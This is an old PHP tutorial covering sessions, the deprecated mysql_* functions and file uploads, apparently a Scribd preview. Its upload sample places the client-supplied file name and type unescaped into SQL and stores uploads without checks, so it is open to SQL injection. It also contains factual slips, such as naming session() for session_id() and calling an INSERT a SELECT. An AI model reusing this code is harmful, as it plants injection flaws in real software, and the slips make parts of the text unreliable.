Value of MyLogin has been retrieved: PICKZYCenter Value of MyColor has been retrieved: Blue

What Is a Session ID? A session ID is an identification string of a session. Since there might be multiple visitors coming to your Web site at the same time, the PHP engine needs to maintain multiple sessions concurrently. Session IDs are created and maintained by the PHP engine to identify sessions. When a visitor comes to your Web site requesting the first PHP page for the first time, the PHP engine will create a new session and assign a unique session ID to this new session. The first PHP page can set some values to the session. When the same visitor clicks a hyper link requesting the second PHP page, the PHP engine will use the same session ID to find the same session created for the first page and give it to the second page. No new session will be created for the second page. How To Retrieve the Session ID of the Current Session? Normally, you don't need to know the session ID of the current session. But if you are interested to know the session ID created by the PHP engine, there are two ways to get it:

Calling session() function. It will return the session ID value.

Using built-in constant SID. It will contains a string of session ID name and value.

The tutorial PHP script below shows you how to retrieve the session ID in two ways:
<?php session_start(); print("<html><pre>"); $sid = session_id(); print("Session ID returned by session_id(): ".$sid."\n"); $sid = SID; print("Session ID returned by SID: ".$sid."\n"); $myLogin = $_SESSION["MyLogin"]; print("Value of MyLogin has been retrieved: ".$myLogin."\n"); $myColor = $_SESSION["MyColor"]; print("Value of MyColor has been retrieved: ".$myColor."\n"); print("</pre></html>\n"); ?>

You need to save this script to your Web server as next_page.php. Now visit first_page.php and click the "Next Page" hyper like, you will get something like this:
Session ID returned by session_id(): rfnq17ui6c7g6pjbtc46n0vi97 Session ID returned by SID: PHPSESSID=rfnq17ui6c7g6pjbtc46n0vi97 Value of MyLogin has been retrieved: PICKZYCenter Value of MyColor has been retrieved: Blue

Now you know that the session ID created by the PHP engine is 26 characters long with alphanumeric characters only. What Are the Options to Transfer Session IDs? Once a new session is created, its session ID must be transferred to the client browser and included in the next client request, so that the PHP engine can find the same session created by the same visitor. The PHP engine has two options to transfer the session ID to the client browser:

As URL parameter - The Session ID will be embedded in all URLs in the HTML document delivered to the client browser. When the visitor clicks any of those URLs, the session ID will be returned back to the Web server as part of the requesting URL. As a cookie - The session ID will be delivered as a cookie to the client browser. When visitor requests any other pages on the Web server, the session ID will be returned back to the Web server also as a cookie.

The PHP engine is configured to use URL parameters for transferring session IDs by default.

How Session IDs Are Transferred on Your Web Server? As you know there are two options the PHP engine can use to transfer session IDs to the client browsers. But how to do know which option is your PHP engine is using? The PHP sample script will help you to find out:
<?php session_start(); print("<html><pre>"); $queryString = $_SERVER["QUERY_STRING"]; print("Query string of the incoming URL: ".$queryString."\n"); print("Cookies received:\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } $myLogin = $_SESSION["MyLogin"]; print("Value of MyLogin has been retrieved: ".$myLogin."\n"); $myColor = $_SESSION["MyColor"]; print("Value of MyColor has been retrieved: ".$myColor."\n"); print("</pre></html>\n"); ?>

You need to save this script to your Web server as next_page.php. Now visit first_page.php and click the "Next Page" hyper like, you will get something like this:
Query string of the incoming URL: PHPSESSID=meml483hk4dvm1n2ii8k9hvjj1 Cookies received: Value of MyLogin has been retrieved: PICKZYCenter Value of MyColor has been retrieved: Blue

Base on the output, your PHP engine is using URL parameters to transfer session IDs, because you can see the session ID parameter in the query string of the incoming URL, and there is no cookies related to session ID. Another way to confirm that your PHP engine is using URL parameters to transfer session IDs is to look at the address field of your browser, it will show something like:
http://localhost/next_page.php?PHPSESSID=meml483hk4dvm1n2ii8k9hvjj1

How To Force the PHP Engine to Use Cookies to Transfer Session IDs? If you want to force your PHP engine to use cookies to transfer session IDs instead of URL parameters, you can open the PHP configuration file, php.ini, and make the following changes:
session.use_cookies = 1 session.use_only_cookies = 1

Now re-run the first_page.php and next_page.php scripts presented in the previous tutorials. You will get something like:
Query string of the incoming URL: Cookies received: PHPSESSID = r66hq1bcg8o79e5i5gd52p26g3 Value of MyLogin has been retrieved: PICKZYCenter Value of MyColor has been retrieved: Blue

Base on the output, your PHP engine is using cookies to transfer session IDs now, because you can see the cookie named as PHPSESSID contains the session ID, there is no URL parameters related to session ID. Is It More Secure to Use Cookies to Transfer Session IDs? Is it more secure to use cookies to transfer session IDs? The answer is yes, because attacking your Web site using URL parameters is much easier than using cookies. So if you are the system administrator of your Web server, you should set session.use_only_cookies=1. If your Web server is provided by a hosting service provider, ask them to set session.use_only_cookies=1. Where Are the Session Values Stored? When a value is saved into the current session by one PHP page, the PHP engine must stored this value somewhere on Web server, so that the PHP engine can retrieve it back when same visitor comes back to request another PHP page. Where are the session values stored on the Web server? The answer depends on the setting named, session.save_path, in the PHP engine configuration file. If session.save_path = "/temp", session values will be stored in special files, one file per session, in the /temp directory on the Web server. If you re-run the first_page.php and next_page.php scripts presented in the previous tutorials, you can find a special file named like: \temp\sess_r66hq1bcg8o79e5i5gd52p26g3. If you open this file, you will see:
MyLogin|s:9:"PICKZYCenter";MyColor|s:4:"Blue";

Now you know that session values are stored on the Web server as text files, and values are formatted with value names and lengths. What Is the Timeout Period on Session Values?

The PHP engine has no direct settings on session timeout period. But it has a session garbage collection mechanism that you can set to remove those special files containing session values. There are 3 settings you can use to define the session garbage collection mechanism:
session.gc_probability = 1 session.gc_divisor = 1000 session.gc_maxlifetime = 1440

The first two settings tell the PHP engine to run the garbage collection process once every 1000 requests received by the Web server. The last setting tells the PHP engine to treat session values as garbage 1440 seconds after they have not been used. Putting all settings together, your session values probably be removed 1440 seconds after the visitor stopping using your Web site. The probability of this removal is one over 1000 requests received after the 1440-second period. In another word, if visitor John stopped using your site, and there is no other visitors coming to your site, session values created for John will never be removed. However, if you have a busy site, like 1000 requests per minute, John's session values will be removed about one minute plus 1440 seconds after John stopped using the site. How To Test the Session Garbage Collection Process? In order to test the session garbage collection process, you need to change the settings to expire session variables in 10 seconds and run the process on every request:
session.gc_probability = 1 session.gc_divisor = 1 session.gc_maxlifetime = 10

If you re-run the first_page.php and next_page.php scripts presented in the previous tutorials, you will see some thing like:
Query string of the incoming URL: Cookies received: PHPSESSID = grm557vicj1edmiikgsa8hbd11 Value of MyLogin has been retrieved: PICKZYCenter Value of MyColor has been retrieved: Blue

Wait for 10 seconds, and start another browser window to run first_page.php. This is to triger the session garbage collection process to remove values stored in session grm557vicj1edmiikgsa8hbd11. Go back to the first browser window on second_page.php, and click the browser refresh button, you will get something like:
Query string of the incoming URL: Cookies received:

PHPSESSID = grm557vicj1edmiikgsa8hbd11 Value of MyLogin has been retrieved: Value of MyColor has been retrieved:

As you can see, session values are gone, the browser is still sending the same session ID as a cookie, but the all sesion values are expired (actually, the session file is removed by the garbage collection process). How To Set session.gc_maxlifetime Properly? As you know that session.gc_maxlifetime is the session value timeout period. You should set this value based on the usage pattern of your visitors. Here are some suggestions:
# Set it to 20 minutes for a normal Web site: session.gc_maxlifetime = 1200 # Set it to 24 hours if visitors comes to the site many time a day: # Example: Yahoo email site expires your session in 24 hours. session.gc_maxlifetime = 86400

How To Set session.gc_divisor Properly? As you know that session.gc_divisor is the frequency of when the session garbage collection process will be executed. You should set this value based on the income request traffic. Here are some suggestions:
# Set it to 10, if traffic is less than 10,000 per day: session.gc_divisor = 10 # Set it to 100, if traffic is between 10,000 and 100,000 per day: session.gc_divisor = 100 # Set it to 1000, if traffic is greater than 100,000 per day: session.gc_divisor = 1000

How To Remove Values Saved in the Current Session? If you want to remove values saved in the current session, you should use the unset() function on those saved values in $_SESSION, or use array() to empty $_SESSION:
• • •

unset($_SESSION['MyColor']) - Removes one value named MyColor in the current session. $_SESSION = array() - Removes all values in the current session. unset($_SESSION) - Bad statement. It may affect the session mechanism.

How To Tell If a Session Is New?

There is not direct way to tell if a session is new or old. But you can design your site to have a required session value in all sessions. Then you can check the existence of this value in a session to determine if it is a new session by isset($_SESSION['name']). Let's say you decided to have a required session value called "Status" with two possible values: "Guest" and "Registered". The landing script of your site should look like:
<?php session_start(); if (!isset($_SESSION['Status'])) { $_SESSION["Status"] = "Guest"; print("<html><pre>"); print("Welcome to PICKZYCenter.com!\n"); print(" <a href=login.php>Login</a>\n"); print(" <a href=guest_home.php>Stay as a guest</a>\n"); print("</pre></html>\n"); } else { if ($_SESSION["Status"] == "Guest") { header( 'Location: http://localhost/guest_home.php'); } else if ($_SESSION["Status"] == "Registered") { header( 'Location: http://localhost/home.php'); } } ?>

How To Close a Session Properly? Let's say you site requires users to login. When a logged in user clicks the logout button, you need to close the session associated with this user properly in 3 steps: 1. Remove all session values with $_SESSION = array(). 2. Remove the session ID cookie with the setcookie() function. 3. Destroy the session object with the session_destroy() function. Below is a good sample script:
<?php session_start(); $_SESSION = array(); if (isset($_COOKIE[session_name()])) { setcookie(session_name(), '', time()-42000, '/'); } session_destroy(); print("<html><pre>"); print("Thank you for visiting PICKZYCenter.com.\n"); print(" <a href=login.php>Login Again.</a>\n"); print("</pre></html>\n"); ?>

What Is session_register()? session_register() is old function that registers global variables into the current session. You should stop using session_register() and use array $_SESSION to save values into the current session now. How To Install MySQL? MySQL is an open source database management system developed by MySQL AB, http://www.mysql.com. You can download a copy and install it on your local computer. Here is how you can do this:
• • • •

Go to http://dev.mysql.com/downloads/mysql/5.0.html. Select the "Windows" and "Without installer" version. Unzip the downloaded file to "\mysql" directory, and double click on "\mysql\setup.exe" to start and finish the installation process. Open a command window and run "\mysql\bin\mysqld" to start MySQL server

How To Use MySQL Command Line Interface? MySQL server comes with a command line interface, which will allow you to operate with the server with SQL statements and other commands. To start the command line interface, you can run the \mysql\bin\mysql program. The tutorial exercise below shows you how to use the command line interface to create a table and insert a row to table:
>\mysql\bin\mysql Welcome to the MySQL monitor. mysql> use test; Database changed mysql> CREATE TABLE pickzy_links (url varchar(80)); Query OK, 0 rows affected (0.58 sec) mysql> INSERT INTO pickzy_links VALUES ('dev.pickzycenter.com'); Query OK, 1 row affected (0.38 sec) mysql> SELECT * FROM pickzy_links; +-------------------+ | url | +-------------------+ | dev.pickzycenter.com | +-------------------+ 1 row in set (0.00 sec) mysql> DROP TABLE pickzy_links; Query OK, 0 rows affected (0.34 sec) mysql> quit; Bye Commands end with ; or \g.

What Do You Need to Connect PHP to MySQL? If you want to access MySQL database server in your PHP script, you need to make sure that MySQL module is installed and turned on in your PHP engine. Check the PHP configuration file, php.ini, to make sure the extension=php_mysql.dll is not commented out. The MySQL module offers a number of functions to allow you to work with MySQL server. Some commonly used MySQL functions are:
• • • • • • •

mysql_connect -- Open a connection to a MySQL Server mysql_close -- Close MySQL connection mysql_db_query -- Send a MySQL query mysql_fetch_array -- Fetch a result row as an associative array, a numeric array, or both mysql_free_result -- Free result memory mysql_list_tables -- List tables in a MySQL database mysql_list_fields -- List MySQL table fields

How To Connect to MySQL from a PHP Script? If you want access the MySQL server, you must create a connection object first by calling the mysql_connect() function in the following format:
$con = mysql_connect($server, $username, $password);

If you are connecting to a local MySQL server, you don't need to specify username and password. If you are connecting to a MySQL server offered by your Web hosting company, they will provide you the server name, username, and password. The following script shows you how to connect to a local MySQL server, obtained server information, and closed the connection:
<?php $con = mysql_connect('localhost'); print(mysql_get_server_info($con)."\n"); print(mysql_get_host_info($con)."\n"); mysql_close($con); ?>

If you run this script, you will get something like this:
5.0.2-alpha localhost via TCP/IP

How To Create a Database?

A database in a MySQL server is a logical container used to group tables and other data objects together as a unit. If you are a the administrator of the server, you can create and delete databases using the CREATE/DROP DATABASE statements. The following PHP script shows you how to create and drop an database called "pickzy":
<?php $con = mysql_connect('localhost'); $sql = 'CREATE DATABASE pickzy'; if (mysql_query($sql, $con)) { print("Database pickzy created.\n"); } else { print("Database creation failed.\n"); } $sql = 'DROP DATABASE pickzy'; if (mysql_query($sql, $con)) { print("Database pickzy dropped.\n"); } else { print("Database drop failed.\n"); } mysql_close($con); ?>

If you run this script, you will get something like this:
Database pickzy created. Database pickzy dropped.

How To Select an Exiting Database? The first thing after you have created a connection object to the MySQL server is to select the database where your tables are locate, by using the mysql_select_db() function. If your MySQL server is offered by your Web hosting company, they will assign a database to you and provide you the database name. You should use this name to select your database as your current database. The following script shows you how to select a database called "pickzy". It also shows you how to put all the database connection statements in a single include file, and re-use it in all of your PHP pages. Create the include file, connect.php, with the following statements:
<?php $server = "localhost"; $username = ""; $password = ""; $database = "pickzy"; $con = mysql_connect($server, $username, $password); mysql_select_db($database); ?>

To test this database connection and selection include file, try the following script:

<?php include "mysql_connection.php"; $sql = 'SHOW TABLES'; if ($rs = mysql_query($sql, $con)) { print(mysql_num_rows($rs) . " tables in the database.\n"); } else { print("SHOW TABLES failed.\n"); } ?> mysql_close($con);

You will get something like this:
0 tables in the database.

How To Run a SQL Statement? You can run any types of SQL statements through the mysql_query() function. It takes the SQL statement as a string and returns different types of data depending on the SQL statement type and execution status:
• • •

Returning FALSE, if the execution failed. Returning a result set object, if the execution is successful on a SELECT statement or other statement returning multiple rows of data. Returning TRUE, if the execution is successful on other statements.

Here is a good example of running a SQL statement with the mysql_query() function:
<?php include "mysql_connection.php"; $sql = 'SELECT sysdate() FROM dual'; $rs = mysql_query($sql, $con); $row = mysql_fetch_array($rs); print("Database current time: ". $row[0] ."\n"); ?> mysql_close($con);

If you run this script, you will get something like this:
Database current time: 2006-02-26 21:34:57

How To Create a Table? If you want to create a table, you can run the CREATE TABLE statement as shown in the following sample script:
<?php

include "mysql_connection.php"; $sql = "CREATE TABLE pickzy_links (" . " id INTEGER NOT NULL" . ", url VARCHAR(80) NOT NULL" . ", notes VARCHAR(1024)" . ", counts INTEGER" . ", time TIMESTAMP DEFAULT sysdate()" . ")"; if (mysql_query($sql, $con)) { print("Table pickzy_links created.\n"); } else { print("Table creation failed.\n"); } mysql_close($con); ?>

Remember that mysql_query() returns TRUE/FALSE on CREATE statements. If you run this script, you will get something like this:
Table pickzy_links created.

How To Get the Number of Rows Selected or Affected by a SQL Statement? There are two functions you can use the get the number of rows selected or affected by a SQL statement:
• •

mysql_num_rows($rs) - Returns the number of rows selected in a result set object returned from SELECT statement. mysql_affected_rows() - Returns the number of rows affected by the last INSERT, UPDATE or DELETE statement.

How To Insert Data into a Table? If you want to insert a row of data into a table, you can use the INSERT INTO statement as shown in the following sample script:
<?php include "mysql_connection.php"; $sql = "INSERT INTO pickzy_links (id, url) VALUES (" . " 101, 'dev.pickzycenter.com')"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n"); } else { print("SQL statement failed.\n"); } $sql = "INSERT INTO pickzy_links (id, url) VALUES (" . " 102, 'dba.pickzycenter.com')"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n");

} else { print("SQL statement failed.\n"); } ?> mysql_close($con);

Remember that mysql_query() returns integer/FALSE on INSERT statements. If you run this script, you will get something like this:
1 rows inserted. 1 rows inserted.

How To Insert Rows Based on SELECT Statements? If want to insert rows into a table based on data rows from other tables, you can use a sub-query inside the INSERT statement as shown in the following script example:
<?php include "mysql_connection.php"; $sql = "INSERT INTO pickzy_links" . " SELECT id+1000, url, notes, counts, time FROM pickzy_links"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n"); } else { print("SQL statement failed.\n"); } mysql_close($con); ?>

If you run this script, you will get something like this:
2 rows inserted.

What Is a Result Set Object? A result set object is a logical representation of data rows returned by mysql_query() function on SELECT statements. Every result set object has an internal pointer used to identify the current row in the result set. Once you get a result set object, you can use the following functions to retrieve detail information:
• • • • •

mysql_free_result($rs) - Closes this result set object. mysql_num_rows($rs) - Returns the number rows in the result set. mysql_num_fields($rs) - Returns the number fields in the result set. mysql_fetch_row($rs) - Returns an array contains the current row indexed by field position numbers. mysql_fetch_assoc($rs) - Returns an array contains the current row indexed by field names.

• • •

mysql_fetch_array($rs) - Returns an array contains the current row with double indexes: field position numbers and filed names. mysql_fetch_lengths($rs) - Returns an array contains lengths of all fields in the last row returned. mysql_field_name($rs, $i) - Returns the name of the field of the specified index.

How To Query Tables and Loop through the Returning Rows? The best way to query tables and loop through the returning rows is to run the SELECT statement with the catch the mysql_query() function, catch the returning object as a result set, and loop through the result with the mysql_fetch_assoc() function in a while loop as shown in the following sample PHP script:
<?php include "mysql_connection.php"; $sql = "SELECT id, url, time FROM pickzy_links"; $rs = mysql_query($sql, $con); while ($row = mysql_fetch_assoc($rs)) { print($row['id'].", ".$row['url'].", ".$row['time']."\n"); } mysql_free_result($rs); mysql_close($con); ?>

Using mysql_fetch_assoc() is better than other fetch functions, because it allows you to access field values by field names. If you run this script, you will see all rows from the pickzy_links table are printed on the screen:
101, dev.pickzycenter.com, 2006-02-26 22:29:02 102, dba.pickzycenter.com, 2006-02-26 22:29:02 1101, dev.pickzycenter.com, 2006-02-26 22:29:02 1102, dba.pickzycenter.com, 2006-02-26 22:29:02

How To Update an Existing Rows in a Table? Updating existing rows in a table requires to run the UPDATE statement with a WHERE clause to identify the row. The following sample script updates one row with two new values:
<?php include "mysql_connection.php"; $sql = "UPDATE pickzy_links SET notes='Nice site.', counts=8" . " WHERE id = 102"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows updated.\n"); } else { print("SQL statement failed.\n"); }

mysql_close($con); ?>

If you run this script, you will get something like this:
1 rows updated.

How To Delete an Existing Rows in a Table? If you want to remove a row from a table, you can use the DELETE statement with a WHERE clause to identify the row. The following sample script deletes one row:
<?php include "mysql_connection.php"; $sql = "DELETE FROM pickzy_links WHERE id = 1102"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows deleted.\n"); } else { print("SQL statement failed.\n"); } ?> mysql_close($con);

If you run this script, you will get something like this:
1 rows deleted.

How To Quote Text Values in SQL Statements? Text values in SQL statements should be quoted with single quotes ('). If the text value contains a single quote ('), it should be protected by replacing it with two single quotes (''). In SQL language syntax, two single quotes represents one single quote in string literals. The tutorial exercise below shows you two INSERT statements. The first one will fail, because it has an un-protected single quote. The second one will be ok, because a str_replace() is used to replace (') with (''):
<?php include "mysql_connection.php"; $notes = "It's a search engine!"; $sql = "INSERT INTO pickzy_links (id, url, notes) VALUES (" . " 201, 'www.google.com', '".$notes."')"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n"); } else { print("SQL statement failed.\n"); } $notes = "It's another search engine!";

$notes = str_replace("'", "''", $notes); $sql = "INSERT INTO pickzy_links (id, url, notes) VALUES (" . " 202, 'www.yahoo.com', '".$notes."')"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n"); } else { print("SQL statement failed.\n"); } mysql_close($con); ?>

If you run this script, you will get something like this:
SQL statement failed. 1 rows inserted.

How To Quote Date and Time Values in SQL Statements? If you want to provide date and time values in a SQL statement, you should write them in the format of "yyyy-mm-dd hh:mm:ss", and quoted with single quotes ('). The tutorial exercise below shows you two INSERT statements. The first one uses a hard-code date value. The second one uses the date() function to return a date value.
<?php include "mysql_connection.php"; $notes = "Added long time ago!"; $time = "1999-01-01 01:02:03"; $sql = "INSERT INTO pickzy_links (id, url, notes, time) VALUES (" . " 301, 'www.netscape.com', '".$notes."', '".$time."')"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n"); } else { print("SQL statement failed.\n"); } $notes = "Added today!"; $time = date("Y-m-d H:i:s"); $sql = "INSERT INTO pickzy_links (id, url, notes, time) VALUES (" . " 302, 'www.myspace.com', '".$notes."', '".$time."')"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n"); } else { print("SQL statement failed.\n"); } ?> mysql_close($con);

If you run this script, you will get something like this:
1 rows inserted.

1 rows inserted.

How To Perform Key Word Search in Tables? The simplest way to perform key word search is to use the SELECT statement with a LIKE operator in the WHERE clause. The LIKE operator allows you to match a text field with a keyword pattern specified as '%keyword%', where (%) represents any number of any characters. Any single quote (') in the keyword needs to be protected by replacing them with two single quotes (''). The tutorial exercise below shows you how to search for records whose "notes" contains "e":
<?php include "mysql_connection.php"; $key = "e"; $key = str_replace("'", "''", $key); $sql = "SELECT id, url, notes FROM pickzy_links" . " WHERE notes LIKE '%".$key."%'"; $rs = mysql_query($sql, $con); while ($row = mysql_fetch_assoc($rs)) { print($row['id'].", ".$row['url'].", ".$row['notes']."\n"); } mysql_free_result($rs); ?> mysql_close($con);

If you run this script, you will get something like this:
102, 301, 302, 202, dba.pickzycenter.com, Nice site. www.netscape.com, Added long time ago! www.myspace.com, Added today! www.yahoo.com, It's another search engine!

How To Query Multiple Tables Jointly? If you want to query information stored in multiple tables, you can use the SELECT statement with a WHERE condition to make an inner join. Assuming that you have 3 tables in a forum system: "users" for user profile, "forums" for forums information, and "posts" for postings, you can query all postings from a single user with a script as shown below:
<?php include "mysql_connection.php"; $userID = 101; $sql = "SELECT posts.subject, posts.time, users.name, forums.title" . " FROM posts, users, forums" . " WHERE posts.userID = ".$userID . " AND posts.userID = users.id" . " AND posts.forumID = forums.id"; $rs = mysql_query($sql, $con);

while ($row = mysql_fetch_assoc($rs)) { print($row['subject'].", ".$row['time'].", " .$row['name'].", ".$row['title']."\n"); } mysql_free_result($rs); ?> mysql_close($con);

How To Get the ID Column Auto-Incremented? Many tables require an ID column to assign a unique ID number for each row in the table. For example, if you have a table to hold forum member profiles, you need an ID number to identify each member. To allow MySQL server to automatically assign a new ID number for each new record, you can define the ID column with AUTO_INCREMENT and PRIMARY KEY attributes as shown in the following sample script:
<?php include "mysql_connection.php"; $sql = "CREATE TABLE pickzy_users (" . " id INTEGER NOT NULL AUTO_INCREMENT" . ", name VARCHAR(80) NOT NULL" . ", email VARCHAR(80)" . ", time TIMESTAMP DEFAULT sysdate()" . ", PRIMARY KEY (id)" . ")"; if (mysql_query($sql, $con)) { print("Table pickzy_links created.\n"); } else { print("Table creation failed.\n"); } ?> mysql_close($con);

If you run this script, a new table will be created with ID column defined as autoincrement. The sample script below inserts two records with ID values assigned by MySQL server:

If you run this script, you will get something like this:

1 rows inserted. 1 rows inserted. 1, John King, 2006-02-26 23:02:39 2, Nancy Greenberg, 2006-02-26 23:02:39

How To Get the Last ID Assigned by MySQL?

If you use an ID column with AUTO_INCREMENT attribute, you can use the mysql_insert_id() function to get the last ID value assigned by the MySQL server, as shown in the sample script below:
<?php include "mysql_connection.php"; $sql = "INSERT INTO pickzy_users (name) VALUES ('John King')"; if (mysql_query($sql, $con)) { print(mysql_affected_rows() . " rows inserted.\n"); print("Last ID inserted: ".mysql_insert_id()."\n"); } else { print("SQL statement failed.\n"); } mysql_close($con); ?>

If you run this script, you will get something like this:
1 rows inserted. Last ID inserted: 3

What Is File Upload? File upload is Web page function which allows visitor to specify a file on the browser's system and submit it to the Web server. This is a very useful function for many interactive Web sites. Some examples are:
• • •

Web base email systems for users to send attachments. Forums that allows user to submit pictures. Web sites file managers for users to build their own Web pages.

Which HTML Tag Allows Users to Specify a File for Uploading? To present an input field on your Web page to allow users to specify a local file to upload, you need to use the <INPUT TYPE="FILE" ...> tag inside a <FORM ...> tag. The <INPUT TYPE="FILE" ...> will be displayed as a text input field followed by a button called "Browse...". Users can either enter the full path name of a local file, or click Browse button to go through a dialog box to select a file interactively. The following PHP code shows you a good example of the file upload tag:
<?php print("<html><form>\n"); print("<input type=file>\n"); print("<input type=submit>\n"); print("</form></html>\n"); ?>

If you copy this script to PHP file and test it on your Web server, you should see a file upload field. How To Write the FORM Tag Correctly for Uploading Files? When users clicks the submit button, files specified in the <INPUT TYPE=FILE...> will be transferred from the browser to the Web server. This transferring (uploading) process is controlled by a properly written <FORM...> tag as:
<FORM ACTION=receiving.php METHOD=post ENCTYPE=multipart/form-data>

Note that you must specify METHOD as "post" and ENCTYPE as "multipart/form-data" in order for the uploading process to work. The following PHP code, called logo_upload.php, shows you a complete FORM tag for file uploading:
<?php print("<html><form action=processing_uploaded_files.php" ." method=post enctype=multipart/form-data>\n"); print("Please submit an image file a Web site logo for" ." pickzycenter.com:<br>\n"); print("<input type=file name=pickzycenter_logo><br>\n"); print("<input type=submit>\n"); print("</form></html>\n"); ?>

How To Get the Uploaded File Information in the Receiving Script? Once the Web server received the uploaded file, it will call the PHP script specified in the form action attribute to process them. This receiving PHP script can get the uploaded file information through the predefined array called $_FILES. Uploaded file information is organized in $_FILES as a two-dimensional array as:
• • • • •

$_FILES[$fieldName]['name'] - The Original file name on the browser system. $_FILES[$fieldName]['type'] - The file type determined by the browser. $_FILES[$fieldName]['size'] - The Number of bytes of the file content. $_FILES[$fieldName]['tmp_name'] - The temporary filename of the file in which the uploaded file was stored on the server. $_FILES[$fieldName]['error'] - The error code associated with this file upload.

The $fieldName is the name used in the <INPUT TYPE=FILE, NAME=fieldName>. How To Process the Uploaded Files? How to process the uploaded files? The answer is really depending on your application. For example:

You can attached the outgoing emails, if the uploaded files are email attachments.

• • •

You can move them to user's Web page directory, if the uploaded files are user's Web pages. You can move them to a permanent directory and save the files names in the database, if the uploaded files are articles to be published on the Web site. You can store them to database tables, if you don't want store them as files.

How To Move Uploaded Files To Permanent Directory? PHP stores uploaded files in a temporary directory with temporary file names. You must move uploaded files to a permanent directory, if you want to keep them permanently. PHP offers the move_uploaded_file() to help you moving uploaded files. The example script, processing_uploaded_files.php, below shows a good example:
<?php $file = '\pickzycenter\images\pickzycenter.logo'; print("<pre>\n"); move_uploaded_file($_FILES['pickzycenter_logo']['tmp_name'], $file); print("File uploaded: ".$file."\n"); print("</pre>\n"); ?>

Note that you need to change the permanent directory, "\pickzycenter\images\", used in this script to something else on your Web server. If your Web server is provided by a Web hosting company, you may need to ask them which directories you can use to store files. If you copy both scripts, logo_upload.php and processing_uploaded_files.php, to your Web server, you can try them to upload an image file to your Web server. How To Detect File Uploading Errors? If there was a problem for a file upload request specified by the <INPUT TYPE=FILE NAME=fieldName...> tag, an error code will be available in $_FILES[$fieldName]['error']. Possible error code values are:
• • • • • •

UPLOAD_ERR_OK (0) - There is no error, the file uploaded with success. UPLOAD_ERR_INI_SIZE (1) - The uploaded file exceeds the upload_max_filesize directive in php.ini. UPLOAD_ERR_FORM_SIZE (2) - The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form. UPLOAD_ERR_PARTIAL (3) - The uploaded file was only partially uploaded. UPLOAD_ERR_NO_FILE (4) - No file was uploaded. UPLOAD_ERR_NO_TMP_DIR (5) - Missing a temporary folder.

Based on the error codes, you can have a better logic to process uploaded files more accurately, as shown in the following script:
<?php $file = '\pickzycenter\images\pickzycenter.logo';

$error = $_FILES['pickzycenter_logo']['error']; $tmp_name = $_FILES['pickzycenter_logo']['tmp_name']; print("<pre>\n"); if ($error==UPLOAD_ERR_OK) { move_uploaded_file($tmp_name, $file); print("File uploaded.\n"); } else if ($error==UPLOAD_ERR_NO_FILE) { print("No files specified.\n"); } else { print("Upload faield.\n"); } print("</pre>\n"); ?>

If you try this script with logo_upload.php and do not specify any files, you will get the "No files specified." message. Why Do You Need to Filter Out Empty Files? When you are processing uploaded files, you need to check for empty files, because they could be resulted from a bad upload process but the PHP engine could still give no error. For example, if a user typed a bad file name in the upload field and submitted the form, the PHP engine will take it as an empty file without raising any error. The script below shows you an improved logic to process uploaded files:
<?php $file = '\pickzycenter\images\pickzycenter.logo'; $error = $_FILES['pickzycenter_logo']['error']; $tmp_name = $_FILES['pickzycenter_logo']['tmp_name']; print(" \n"); if ($error==UPLOAD_ERR_OK) { if ($_FILES['pickzycenter_logo']['size'] > 0) { move_uploaded_file($tmp_name, $file); print("File uploaded.\n"); } else { print("Loaded file is empty.\n"); } } else if ($error==UPLOAD_ERR_NO_FILE) { print("No files specified.\n"); } else { print("Upload faield.\n"); } print(" \n"); ?>

How To Create a Table To Store Files? If you using MySQL database and want to store files in database, you need to create BLOB columns, which can holds up to 65,535 characters. Here is a sample script that creates a table with a BLOB column to be used to store uploaded files:

<?php $con = mysql_connect("localhost", "", ""); mysql_select_db("pickzy"); $sql = "CREATE TABLE pickzy_files (" . " id INTEGER NOT NULL AUTO_INCREMENT" . ", name VARCHAR(80) NOT NULL" . ", type VARCHAR(80) NOT NULL" . ", size INTEGER NOT NULL" . ", content BLOB" . ", PRIMARY KEY (id)" . ")"; mysql_query($sql, $con); mysql_close($con); ?>

How To Uploaded Files to a Table? To store uploaded files to MySQL database, you can use the normal SELECT statement as shown in the modified processing_uploaded_files.php listed below:
<?php $con = mysql_connect("localhost", "", ""); mysql_select_db("pickzy"); $error = $_FILES['pickzycenter_logo']['error']; $tmp_name = $_FILES['pickzycenter_logo']['tmp_name']; $size = $_FILES['pickzycenter_logo']['size']; $name = $_FILES['pickzycenter_logo']['name']; $type = $_FILES['pickzycenter_logo']['type']; print(" \n"); if ($error == UPLOAD_ERR_OK && $size > 0) { $fp = fopen($tmp_name, 'r'); $content = fread($fp, $size); fclose($fp); $content = addslashes($content); $sql = "INSERT INTO pickzy_files (name, type, size, content)" . " VALUES ('$name', '$type', $size, '$content')"; mysql_query($sql, $con); print("File stored.\n"); } else { print("Upload faield.\n"); } print(" \n"); mysql_close($con); ?>

Note that addslashes() is used to add backslashes to special characters that need to be protected in SQL statements. What Are the File Upload Settings in Configuration File? There are several settings in the PHP configuration file related to file uploading:

• • •

file_uploads = On/Off - Whether or not to allow HTTP file uploads. upload_tmp_dir = directory - The temporary directory used for storing files when doing file upload. upload_max_filesize = size - The maximum size of an uploaded file.

How To Get the Technical Specifications for File Upload? File upload technical specifications is provided in "Form-based File Upload in HTML RFC 1867". You can get a copy from http://www.ietf.org/rfc/rfc1867.txt.

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->